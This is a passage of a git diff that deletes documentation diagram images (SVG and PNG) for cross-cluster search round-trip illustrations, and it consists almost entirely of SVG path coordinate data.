666.701437,484.982228 666.701437,486.305145 C666.701437,487.367645 666.539979,488.206187 666.217062,488.82077 C665.894146,489.435353 665.425396,489.91452 664.810812,490.25827 C664.206646,490.591603 663.539979,490.75827 662.810812,490.75827 C661.654562,490.75827 660.717062,490.388478 659.998312,489.648895 C659.279562,488.898895 658.920187,487.82077 658.920187,486.41452 Z M660.373312,486.41452 C660.373312,487.47702 660.602479,488.273895 661.060812,488.805145 C661.529562,489.336395 662.112896,489.60202 662.810812,489.60202 C663.508729,489.60202 664.086854,489.336395 664.545187,488.805145 C665.013937,488.273895 665.248312,487.461395 665.248312,486.367645 C665.248312,485.346812 665.013937,484.57077 664.545187,484.03952 C664.086854,483.50827 663.508729,483.242645 662.810812,483.242645 C662.112896,483.242645 661.529562,483.50827 661.060812,484.03952 C660.602479,484.560353 660.373312,485.35202 660.373312,486.41452 Z M667.787375,488.086395 L669.178,487.867645 C669.250917,488.430145 669.464458,488.862437 669.818625,489.16452 C670.183208,489.456187 670.683208,489.60202 671.318625,489.60202 C671.964458,489.60202 672.443625,489.471812 672.756125,489.211395 C673.068625,488.940562 673.224875,488.628062 673.224875,488.273895 C673.224875,487.961395 673.089458,487.711395 672.818625,487.523895 C672.620708,487.398895 672.141542,487.242645 671.381125,487.055145 C670.349875,486.794728 669.631125,486.57077 669.224875,486.38327 C668.829042,486.185353 668.526958,485.919728 668.318625,485.586395 C668.120708,485.253062 668.02175,484.88327 668.02175,484.47702 C668.02175,484.10202 668.105083,483.75827 668.27175,483.44577 C668.438417,483.13327 668.667583,482.872853 668.95925,482.66452 C669.178,482.497853 669.474875,482.362437 669.849875,482.25827 C670.235292,482.143687 670.641542,482.086395 671.068625,482.086395 C671.724875,482.086395 672.297792,482.180145 672.787375,482.367645 C673.276958,482.555145 673.636333,482.810353 673.8655,483.13327 C674.105083,483.44577 674.27175,483.872853 674.3655,484.41452 L672.9905,484.60202 C672.928,484.174937 672.745708,483.841603 672.443625,483.60202 C672.141542,483.362437 671.719667,483.242645 671.178,483.242645 C670.532167,483.242645 670.068625,483.35202 669.787375,483.57077 C669.516542,483.779103 669.381125,484.023895 669.381125,484.305145 C669.381125,484.492645 669.438417,484.659312 669.553,484.805145 C669.667583,484.950978 669.844667,485.075978 670.08425,485.180145 C670.230083,485.232228 670.64675,485.35202 671.33425,485.53952 C672.323833,485.799937 673.016542,486.018687 673.412375,486.19577 C673.808208,486.362437 674.1155,486.607228 674.33425,486.930145 C674.563417,487.253062 674.678,487.654103 674.678,488.13327 C674.678,488.60202 674.537375,489.044728 674.256125,489.461395 C673.985292,489.867645 673.589458,490.185353 673.068625,490.41452 C672.558208,490.643687 671.980083,490.75827 671.33425,490.75827 C670.250917,490.75827 669.428,490.534312 668.8655,490.086395 C668.303,489.638478 667.943625,488.971812 667.787375,488.086395 Z M679.412375,489.305145 L679.6155,490.555145 C679.219667,490.638478 678.8655,490.680145 678.553,490.680145 C678.042583,490.680145 677.64675,490.60202 677.3655,490.44577 C677.08425,490.279103 676.886333,490.065562 676.77175,489.805145 C676.657167,489.534312 676.599875,488.97702 676.599875,488.13327 L676.599875,483.367645 L675.568625,483.367645 L675.568625,482.273895 L676.599875,482.273895 L676.599875,480.211395 L678.006125,479.367645 L678.006125,482.273895 L679.412375,482.273895 L679.412375,483.367645 L678.006125,483.367645 L678.006125,488.211395 C678.006125,488.617645 678.026958,488.878062 678.068625,488.992645 C678.120708,489.107228 678.204042,489.200978 678.318625,489.273895 C678.433208,489.336395 678.594667,489.367645 678.803,489.367645 C678.95925,489.367645 679.162375,489.346812 679.412375,489.305145 Z M680.232687,488.086395 L681.623312,487.867645 C681.696229,488.430145 681.909771,488.862437 682.263937,489.16452 C682.628521,489.456187 683.128521,489.60202 683.763937,489.60202 C684.409771,489.60202 684.888937,489.471812 685.201437,489.211395 C685.513937,488.940562 685.670187,488.628062 685.670187,488.273895 C685.670187,487.961395 685.534771,487.711395 685.263937,487.523895 C685.066021,487.398895 684.586854,487.242645 683.826437,487.055145 C682.795187,486.794728 682.076437,486.57077 681.670187,486.38327 C681.274354,486.185353 680.972271,485.919728 680.763937,485.586395 C680.566021,485.253062 680.467062,484.88327 680.467062,484.47702 C680.467062,484.10202 680.550396,483.75827 680.717062,483.44577 C680.883729,483.13327 681.112896,482.872853 681.404562,482.66452 C681.623312,482.497853 681.920187,482.362437 682.295187,482.25827 C682.680604,482.143687 683.086854,482.086395 683.513937,482.086395 C684.170187,482.086395 684.743104,482.180145 685.232687,482.367645 C685.722271,482.555145 686.081646,482.810353 686.310812,483.13327 C686.550396,483.44577 686.717062,483.872853 686.810812,484.41452 L685.435812,484.60202 C685.373312,484.174937 685.191021,483.841603 684.888937,483.60202 C684.586854,483.362437 684.164979,483.242645 683.623312,483.242645 C682.977479,483.242645 682.513937,483.35202 682.232687,483.57077 C681.961854,483.779103 681.826437,484.023895 681.826437,484.305145 C681.826437,484.492645 681.883729,484.659312 681.998312,484.805145 C682.112896,484.950978 682.289979,485.075978 682.529562,485.180145 C682.675396,485.232228 683.092062,485.35202 683.779562,485.53952 C684.769146,485.799937 685.461854,486.018687 685.857687,486.19577 C686.253521,486.362437 686.560812,486.607228 686.779562,486.930145 C687.008729,487.253062 687.123312,487.654103 687.123312,488.13327 C687.123312,488.60202 686.982687,489.044728 686.701437,489.461395 C686.430604,489.867645 686.034771,490.185353 685.513937,490.41452 C685.003521,490.643687 684.425396,490.75827 683.779562,490.75827 C682.696229,490.75827 681.873312,490.534312 681.310812,490.086395 C680.748312,489.638478 680.388937,488.971812 680.232687,488.086395 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,509.57077 L663.38892,509.57077 L663.38892,500.60202 C663.04517,500.924937 662.597253,501.247853 662.04517,501.57077 C661.503503,501.893687 661.01392,502.138478 660.57642,502.305145 L660.57642,500.94577 C661.35767,500.57077 662.039962,500.122853 662.623295,499.60202 C663.217045,499.07077 663.63892,498.560353 663.88892,498.07077 L664.79517,498.07077 L664.79517,509.57077 Z M668.959232,509.57077 L668.959232,498.117645 L673.287357,498.117645 C674.047774,498.117645 674.625899,498.154103 675.021732,498.22702 C675.584232,498.32077 676.052982,498.497853 676.427982,498.75827 C676.813399,499.018687 677.120691,499.388478 677.349857,499.867645 C677.589441,500.336395 677.709232,500.857228 677.709232,501.430145 C677.709232,502.398895 677.396732,503.221812 676.771732,503.898895 C676.157149,504.575978 675.037357,504.91452 673.412357,504.91452 L670.474857,504.91452 L670.474857,509.57077 L668.959232,509.57077 Z M670.474857,503.555145 L673.443607,503.555145 C674.422774,503.555145 675.115482,503.372853 675.521732,503.00827 C675.938399,502.643687 676.146732,502.13327 676.146732,501.47702 C676.146732,500.997853 676.021732,500.586395 675.771732,500.242645 C675.532149,499.898895 675.214441,499.674937 674.818607,499.57077 C674.568607,499.497853 674.099857,499.461395 673.412357,499.461395 L670.474857,499.461395 L670.474857,503.555145 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M636.8635,584.42615 L636.8635,584.42615 C636.8635,580.619509 639.949377,577.533633 643.756017,577.533633 L693.467017,577.533633 C695.29502,577.533633 697.048194,578.259768 698.340796,579.552371 C699.633399,580.844973 700.359534,582.598147 700.359534,584.42615 L700.359534,611.995425 C700.359534,615.802066 697.273658,618.887942 693.467017,618.887942 L643.756017,618.887942 C639.949377,618.887942 636.8635,615.802066 636.8635,611.995425 L636.8635,584.42615 Z" id="Path" fill="#FA734F"></path>
-                <path d="M654.96704,594.5708 L654.96704,583.117675 L656.37329,583.117675 L656.37329,594.5708 L654.96704,594.5708 Z M658.021727,590.41455 C658.021727,588.8833 658.448811,587.747883 659.302977,587.0083 C660.021727,586.393717 660.891519,586.086425 661.912352,586.086425 C663.058186,586.086425 663.990477,586.461425 664.709227,587.211425 C665.438394,587.951008 665.802977,588.982258 665.802977,590.305175 C665.802977,591.367675 665.641519,592.206217 665.318602,592.8208 C664.995686,593.435383 664.526936,593.91455 663.912352,594.2583 C663.308186,594.591633 662.641519,594.7583 661.912352,594.7583 C660.756102,594.7583 659.818602,594.388508 659.099852,593.648925 C658.381102,592.898925 658.021727,591.8208 658.021727,590.41455 Z M659.474852,590.41455 C659.474852,591.47705 659.704019,592.273925 660.162352,592.805175 C660.631102,593.336425 661.214436,593.60205 661.912352,593.60205 C662.610269,593.60205 663.188394,593.336425 663.646727,592.805175 C664.115477,592.273925 664.349852,591.461425 664.349852,590.367675 C664.349852,589.346842 664.115477,588.5708 663.646727,588.03955 C663.188394,587.5083 662.610269,587.242675 661.912352,587.242675 C661.214436,587.242675 660.631102,587.5083 660.162352,588.03955 C659.704019,588.560383 659.474852,589.35205 659.474852,590.41455 Z M667.18579,595.2583 L668.56079,595.461425 C668.612873,595.888508 668.769123,596.1958 669.02954,596.3833 C669.383707,596.643717 669.862873,596.773925 670.46704,596.773925 C671.112873,596.773925 671.612873,596.643717 671.96704,596.3833 C672.321207,596.122883 672.56079,595.7583 672.68579,595.28955 C672.758707,595.0083 672.795165,594.404133 672.795165,593.47705 C672.180582,594.206217 671.414957,594.5708 670.49829,594.5708 C669.352457,594.5708 668.46704,594.159342 667.84204,593.336425 C667.21704,592.513508 666.90454,591.523925 666.90454,590.367675 C666.90454,589.576008 667.045165,588.846842 667.326415,588.180175 C667.618082,587.513508 668.034748,586.997883 668.576415,586.6333 C669.128498,586.268717 669.769123,586.086425 670.49829,586.086425 C671.477457,586.086425 672.284748,586.482258 672.920165,587.273925 L672.920165,586.273925 L674.21704,586.273925 L674.21704,593.4458 C674.21704,594.737467 674.086832,595.654133 673.826415,596.1958 C673.565998,596.737467 673.149332,597.16455 672.576415,597.47705 C672.003498,597.78955 671.300373,597.9458 670.46704,597.9458 C669.477457,597.9458 668.675373,597.721842 668.06079,597.273925 C667.456623,596.826008 667.164957,596.154133 667.18579,595.2583 Z M668.357665,590.273925 C668.357665,591.357258 668.571207,592.148925 668.99829,592.648925 C669.43579,593.148925 669.977457,593.398925 670.62329,593.398925 C671.269123,593.398925 671.81079,593.154133 672.24829,592.66455 C672.68579,592.16455 672.90454,591.3833 672.90454,590.3208 C672.90454,589.299967 672.680582,588.534342 672.232665,588.023925 C671.784748,587.503092 671.243082,587.242675 670.607665,587.242675 C669.982665,587.242675 669.451415,587.497883 669.013915,588.0083 C668.576415,588.518717 668.357665,589.273925 668.357665,590.273925 Z M675.787352,592.086425 L677.177977,591.867675 C677.250894,592.430175 677.464436,592.862467 677.818602,593.16455 C678.183186,593.456217 678.683186,593.60205 679.318602,593.60205 C679.964436,593.60205 680.443602,593.471842 680.756102,593.211425 C681.068602,592.940592 681.224852,592.628092 681.224852,592.273925 C681.224852,591.961425 681.089436,591.711425 680.818602,591.523925 C680.620686,591.398925 680.141519,591.242675 679.381102,591.055175 C678.349852,590.794758 677.631102,590.5708 677.224852,590.3833 C676.829019,590.185383 676.526936,589.919758 676.318602,589.586425 C676.120686,589.253092 676.021727,588.8833 676.021727,588.47705 C676.021727,588.10205 676.105061,587.7583 676.271727,587.4458 C676.438394,587.1333 676.667561,586.872883 676.959227,586.66455 C677.177977,586.497883 677.474852,586.362467 677.849852,586.2583 C678.235269,586.143717 678.641519,586.086425 679.068602,586.086425 C679.724852,586.086425 680.297769,586.180175 680.787352,586.367675 C681.276936,586.555175 681.636311,586.810383 681.865477,587.1333 C682.105061,587.4458 682.271727,587.872883 682.365477,588.41455 L680.990477,588.60205 C680.927977,588.174967 680.745686,587.841633 680.443602,587.60205 C680.141519,587.362467 679.719644,587.242675 679.177977,587.242675 C678.532144,587.242675 678.068602,587.35205 677.787352,587.5708 C677.516519,587.779133 677.381102,588.023925 677.381102,588.305175 C677.381102,588.492675 677.438394,588.659342 677.552977,588.805175 C677.667561,588.951008 677.844644,589.076008 678.084227,589.180175 C678.230061,589.232258 678.646727,589.35205 679.334227,589.53955 C680.323811,589.799967 681.016519,590.018717 681.412352,590.1958 C681.808186,590.362467 682.115477,590.607258 682.334227,590.930175 C682.563394,591.253092 682.677977,591.654133 682.677977,592.1333 C682.677977,592.60205 682.537352,593.044758 682.256102,593.461425 C681.985269,593.867675 681.589436,594.185383 681.068602,594.41455 C680.558186,594.643717 679.980061,594.7583 679.334227,594.7583 C678.250894,594.7583 677.427977,594.534342 676.865477,594.086425 C676.302977,593.638508 675.943602,592.971842 675.787352,592.086425 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M664.79517,613.5708 L663.38892,613.5708 L663.38892,604.60205 C663.04517,604.924967 662.597253,605.247883 662.04517,605.5708 C661.503503,605.893717 661.01392,606.138508 660.57642,606.305175 L660.57642,604.9458 C661.35767,604.5708 662.039962,604.122883 662.623295,603.60205 C663.217045,603.0708 663.63892,602.560383 663.88892,602.0708 L664.79517,602.0708 L664.79517,613.5708 Z M668.959232,613.5708 L668.959232,602.117675 L673.287357,602.117675 C674.047774,602.117675 674.625899,602.154133 675.021732,602.22705 C675.584232,602.3208 676.052982,602.497883 676.427982,602.7583 C676.813399,603.018717 677.120691,603.388508 677.349857,603.867675 C677.589441,604.336425 677.709232,604.857258 677.709232,605.430175 C677.709232,606.398925 677.396732,607.221842 676.771732,607.898925 C676.157149,608.576008 675.037357,608.91455 673.412357,608.91455 L670.474857,608.91455 L670.474857,613.5708 L668.959232,613.5708 Z M670.474857,607.555175 L673.443607,607.555175 C674.422774,607.555175 675.115482,607.372883 675.521732,607.0083 C675.938399,606.643717 676.146732,606.1333 676.146732,605.47705 C676.146732,604.997883 676.021732,604.586425 675.771732,604.242675 C675.532149,603.898925 675.214441,603.674967 674.818607,603.5708 C674.568607,603.497883 674.099857,603.461425 673.412357,603.461425 L670.474857,603.461425 L670.474857,607.555175 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <line x1="427.8158" y1="451.6999" x2="636.85517" y2="494.219584" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="427.8158" y1="451.6999" x2="613.33674" y2="489.43583" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="612.01984 495.91016 631.124882 493.05402 614.653691 482.96146"></polygon>
-                <path d="M629.1521,248.26065 C629.1521,349.97717 528.49066,451.69372 427.82925,451.69372" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M627.3356,272.19177 L627.175566,273.236295 C627.113737,273.630979 627.050444,274.02548 626.985808,274.419889 C626.856474,275.208677 626.721464,275.996946 626.5809,276.784605 C626.018766,279.935331 625.36746,283.076719 624.630217,286.205687 C621.681181,298.721587 617.355864,311.038847 611.850981,322.958736 C600.841093,346.798549 585.112761,369.049036 566.238737,388.120906 C528.49069,426.264583 478.160002,451.693721 427.829317,451.693721" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="633.9235 272.69186 628.70945 254.091472 620.747536 271.691707"></polygon>
-                <path d="M701.1521,248.26065 C701.1521,349.97717 564.49066,451.69372 427.82925,451.69372" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M698.6977,272.1348 L698.468696,273.236301 C698.384712,273.630985 698.298835,274.025486 698.210945,274.419895 C698.035347,275.208683 697.852119,275.996952 697.661323,276.784611 C696.898078,279.935337 696.013923,283.076725 695.012947,286.205693 C691.009285,298.721593 685.137092,311.038853 677.663399,322.958743 C662.716072,346.798556 641.362679,369.049043 615.738716,388.120913 C564.490669,426.26459 496.159981,451.693728 427.829296,451.693728" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="705.26996 272.8105 700.554079 254.077605 692.125368 271.459151"></polygon>
-                <path d="M417.65878,367.32495 C435.237302,367.32495 451.548093,388.419432 452.815823,409.513945 C454.083523,430.608427 440.308163,451.70291 427.800533,451.70291" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M439.1564,377.99512 L439.171964,378.011477 C439.279111,378.125583 439.385831,378.24042 439.492093,378.355929 C439.704587,378.586947 439.915311,378.820773 440.124082,379.057376 C440.541715,379.53052 440.95178,380.01459 441.353849,380.509036 C447.78732,388.419467 452.181974,398.966708 452.815824,409.513949 C454.083524,430.608431 440.308164,451.702914 427.800534,451.702914" id="Path" stroke="#3D99D7" stroke-width="4" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#3D99D7" stroke-width="4" fill="#3D99D7" points="442.09378 372.0771 422.896697 369.924756 436.219024 383.91319"></polygon>
-            </g>
-        </g>
-    </g>
-</svg>
\ No newline at end of file
diff --git a/docs/reference/images/ccs/ccs-min-roundtrip-client-request.png b/docs/reference/images/ccs/ccs-min-roundtrip-client-request.png
deleted file mode 100644
index bf023da054b..00000000000
Binary files a/docs/reference/images/ccs/ccs-min-roundtrip-client-request.png and /dev/null differ
diff --git a/docs/reference/images/ccs/ccs-min-roundtrip-client-request.svg b/docs/reference/images/ccs/ccs-min-roundtrip-client-request.svg
deleted file mode 100644
index 7224a25c24a..00000000000
--- a/docs/reference/images/ccs/ccs-min-roundtrip-client-request.svg
+++ /dev/null
@@ -1,81 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg width="797px" height="646px" viewBox="0 0 797 646" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-    <!-- Generator: Sketch 53.2 (72643) - https://sketchapp.com -->
-    <title>Slice 1</title>
-    <desc>Created with Sketch.</desc>
-    <defs>
-        <polygon id="path-1" points="0 0 960 0 960 768 0 768"></polygon>
-    </defs>
-    <g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
-        <g id="ccs-min-roundtrip-client-request" transform="translate(-17.000000, -66.000000)">
-            <mask id="mask-2" fill="white">
-                <use xlink:href="#path-1"></use>
-            </mask>
-            <g id="Path"></g>
-            <g id="Group" mask="url(#mask-2)">
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="0 0 960 0 960 768 0 768"></polygon>
-                <path d="M205.45407,383.99878 L205.45407,383.99878 C205.45407,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.45407,383.99878 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M205.45407,383.99878 L205.45407,383.99878 C205.45407,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.45407,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 